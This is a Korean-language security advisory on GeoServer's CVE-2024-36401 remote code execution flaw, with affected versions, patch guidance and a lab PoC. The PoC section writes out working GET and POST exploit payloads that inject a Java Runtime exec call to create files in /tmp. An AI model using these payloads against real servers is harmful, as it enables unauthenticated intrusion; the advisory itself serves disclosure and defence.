1. 개요
지리 공간 데이터 처리를 위한 오픈소스 소프트웨어인 GeoServer에서 심각한 취약점(CVE-2024-36401, CVSS v3.1 : 9.8)이 발견되었다. 해당 취약점을 악용하면 인증되지 않은 사용자가 취약한 GeoServer가 설치된 시스템에서 원격 코드를 실행(RCE)할 수 있다. 사용자 상호 작용이 필요 없고 네트워크를 통해 악용될 수 있으며, 권한이 필요하지 않아 심각한 위협이 될 수 있다. 현재 PoC가 공개된 상태이며 공격에 악용될 수 있으므로, 취약한 버전을 사용하는 경우 신속히 패치버전으로 업데이트할 것을 권고한다.
2. 영향받는 버전
영향을 받는 버전 |
패치 버전 |
GeoServer < 2.23.6 |
2.23.6 |
2.24.0 <= GeoServer < 2.24.4 |
2.24.4 |
2.25.0 <= GeoServer < 2.25.2 |
2.25.2 |
3. PoC Test
CVE-2024-36401 취약점의 영향을 받는 환경을 구축하여 PoC 테스트를 진행해보았다.
(1) 취약한 GeoServer 구동
먼저, 취약한 GeoServer를 8080 포트로 구동하였다. 테스트에 사용한 버전은 GeoServer 2.23.2 버전이다.
[그림 1] 취약한 GeoServer 구동
(2) GET 메소드를 이용한 Exploit
GET 메소드를 이용하여 취약한 GeoServer를 대상으로 공격을 진행하였다. 테스트에 사용한 조작된 HTTP 요청 URL은 다음과 같다. GeoServer의 /tmp 경로에 ‘cyberone1’ 파일을 생성하도록 한 것이다.
[URL] http://192.168.108[.]130:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites& valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/cyberone1') |
[그림 2] GET 메소드를 이용한 Exploit
(3) POST 메소드를 이용한 Exploit
POST 메소드를 이용하여 공격을 진행할 수도 있다. 테스트에 사용한 URL 및 Body 데이터는 다음과 같다. GeoServer의 /tmp 경로에 ‘cyberone2’ 파일을 생성하도록 한 것이다.
[URL] http://192.168.108[.]130:8080/geoserver/wfs
[HTTP Body] xmlns:topp='http://www.openplans[.]org/topp' xmlns:fes='http://www.opengis[.]net/fes/2.0' xmlns:wfs='http://www.opengis[.]net/wfs/2.0'> exec(java.lang.Runtime.getRuntime(),'touch /tmp/cyberone2')</wfs:valueReference>
|
[그림 3] POST 메소드를 이용한 Exploit
(4) 공격 영향도 확인
GeoServer 서버에서 Exploit 전후를 비교해보면, 앞서 익스플로잇을 통해 생성 시도한 2개의 파일 (‘cyberone1’, ‘cyberone2’)이 생성된 것을 알 수 있다.
[그림 4] 익스플로잇 전
[그림 5] 익스플로잇 후
4. 완화 방안
(1) 취약점을 수정한 공식 패치 버전으로 업데이트할 것을 권고한다.
- 다운로드 링크 : https://github[.]com/geoserver/geoserver/tags
(2) 패치가 불가능한 경우에는 아래 과정을 통해 취약점을 완화할 수 있다. 하지만, GeoServer의 일부 기능이 손상될 수 있으므로 가능한 공식 패치 버전으로 업데이트할 것을 권고한다.
- GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
- webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar
※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar
5. 참고 자료
[1] https://github[.]com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
[2] https://github[.]com/advisories/GHSA-6jj6-gm7p-fcvv
[3] https://nsfocusglobal[.]com/remote-code-execution-vulnerability-between-geoserver-and-geotools-cve-2024-36401-cve-2024-36404-notification/
보안관제센터 MIR Team